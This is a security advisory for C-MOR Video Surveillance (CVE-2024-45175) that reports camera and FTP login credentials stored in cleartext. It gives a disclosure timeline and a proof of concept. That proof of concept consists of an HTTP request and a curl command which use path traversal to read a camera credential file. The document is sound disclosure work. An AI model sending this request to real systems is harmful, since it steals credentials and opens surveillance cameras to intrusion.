Advisory ID: SYSS-2024-028 Product: C-MOR Video Surveillance Manufacturer: za-internet GmbH Affected Version(s): 5.2401, 6.00PL01 Tested Version(s): 5.2401, 6.00PL01Vulnerability Type: Cleartext Storage of Sensitive Information (CWE-312)
Risk Level: Medium Solution Status: Open Manufacturer Notification: 2024-04-05 Solution Date: - Public Disclosure: 2024-09-04 CVE Reference: CVE-2024-45175 Authors of Advisory: Chris Beiter, Frederik Beimgraben, and Matthias Deeg ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The software product C-MOR is an IP video surveillance system. The manufacturer describes the product as follows: "With C-MOR video surveillance, it is possible to check your surveillance over network and the Internet. You can access the live view as well as previous recordings from any PC or mobile device. C-MOR is managed and controlled over the C-MOR web interface. IP settings, camera recording setup, user rights and so on are set over the web without the installation of any software on the client."[1] Sensitive information is stored in cleartext. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: By analyzing the C-MOR system, it was found that sensitive information, for example login credentials of cameras, is stored in clear text. Thus, an attacker with file system access, for example exploiting a path traversal attack (see SYSS-2024-025[3]), has access to the login data of all configured cameras or the configured FTP server. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): By exploiting the path traversal attack in the backup download script "download-bkf.pml", login credentials of cameras can be retrieved, as the following HTTP request and the corresponding response demonstrate: POST /download-bkf.pml HTTP/1.1 Host: <HOST> Authorization: Basic <CREDENTIALS> Content-Type: application/x-www-form-urlencoded Content-Length: 24 Connection: close bkf=../../../etc/ip.cam1 HTTP/1.1 200 OK (...) 192.168.1.11 80 <USERNAME> <PASSWORD> This PoC attack can be performed using the following curl command:curl -X POST -d 'bkf=../../../etc/ip.cam1' --user '<USERNAME>:<PASSWORD>' --ciphers 'DEFAULT:!DH' https://<HOST>/download-bkf.pml
192.168.1.11 80 <USERNAME> <PASSWORD> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: There is no fix for this security issue. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2024-04-05: Vulnerability reported to manufacturer 2024-04-05: Manufacturer acknowledges receipt of security advisories 2024-04-08: Exchange regarding security updates and disclosure timeline 2024-05-08: Further exchange concerning security updates and disclosure timeline; public release of all security advisories scheduled for release of C-MOR Video Surveillance version 6 2024-05-10: Release of C-MOR software version 5.30 with security updates for some reported security issues 2024-07-19: E-mail to manufacturer concerning release date of C-MOR Video Surveillance version 6; response with planned release date of 2024-08-01 2024-07-30: E-mail from manufacturer with further information concerning security fixes 2024-07-31: Release of C-MOR software version 6.00PL1 2024-09-04: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for C-MOR Video Surveillance https://www.c-mor.com/ [2] SySS Security Advisory SYSS-2024-028 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-028.txt [3] SySS Security Advisory SYSS-2024-025 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2024-025.txt [4] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Chris Beiter, and Frederik Beimgraben. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en
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